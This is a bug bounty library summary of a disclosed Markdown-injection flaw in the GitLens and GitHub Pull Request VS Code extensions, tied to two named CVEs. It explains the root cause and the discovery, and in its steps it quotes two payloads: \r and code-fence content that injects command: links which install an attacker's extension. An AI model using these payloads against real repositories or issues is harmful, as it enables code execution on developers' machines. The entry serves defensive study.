# Visual Studio Code Security: Markdown Vulnerabilities in Third-Party Extensions (2/3)

GitLens and GitHub PR extension render attacker-controlled Markdown in webviews with isTrusted, letting crafted \r or code-fence content inject command: links that install a malicious extension and execute code.

- Payout: $100
- Severity: high
- Program: GitKraken, Microsoft
- Credited: Thomas Chauchefoin, Paul Gerste
- Disclosed: 2023-11-14
- CVE: CVE-2023-46944, CVE-2023-36867
- Write-up quality: 8/10
- Original: https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/
- Library page: https://bugbountylibrary.com/r/blog%3Asonarsource-com-blog-vscode-security-markdown-vulnerabilities-in-extensions
- Tags: domain:desktop impact:rce kind:bounty platform:blog sev:high tech:nodejs technique:parser-differential technique:source-review vuln:misconfiguration vuln:rce vuln:xss

**Target:** VS Code Markdown webview hover/issue rendering in third-party extensions
**Root cause:** Extensions interpolate attacker-controlled Git/issue data into MarkdownString with isTrusted=true and supportHtml, without escaping; GitLens splits lines only on \n while the Markdown renderer also treats \r as a line break, and the GitHub extension's plaintext render pass strips code fences leaving inner Markdown live.
**Steps:**
1. GitLens: open a malicious repo whose commit line contains `\r```\n[click](command:workbench.extensions.installExtension?["attacker.ext",{"donotSync":true}])`
2. Hover the inline blame to render the diff hover; the `\r` closes the code block and the command link appears
3. Victim clicks the link; VS Code installs and activates the attacker's marketplace extension
4. GitHub PR: create an issue body with a ```plain code block containing `[Click here](command:workbench.extensions.installExtension?["pspaul.pop-a-calc",{"donotSync":true}])`
5. Victim opens the issue in the extension and clicks the rendered link, installing the malicious extension
**How found:** Noticed GitLens runs in untrusted workspaces and executes git commands, retried the 2021 VS Code local-git-config payload; then, inspired by CVE-2022-41034's command: link auto-click, realized much of VS Code UI is Markdown and audited extensions building MarkdownString with isTrusted=true, spotting the \n vs \r line-splitting differential and the plaintext-render code-fence stripping.
**Exploitation:** Attacker publishes a malicious extension to the marketplace (no review), crafts a repo or GitHub issue/PR that injects a command: link via Markdown injection, and waits for the victim to hover/click; the installExtension command installs and runs the extension, achieving code execution in the VS Code process.
**Escalation:** GitLens bugs bypass Workspace Trust by using installExtension (allowed in untrusted workspaces) instead of the terminal command; GitHub issue vector is remote and targets maintainers who trust their own repos.
**Insight:** When a component escapes content into a Markdown code block, check for line-separator parsing differentials (\r vs \n) that let attacker content start a new line and close the fence; also audit isTrusted=true MarkdownString construction and prefer allowlisting specific command: links.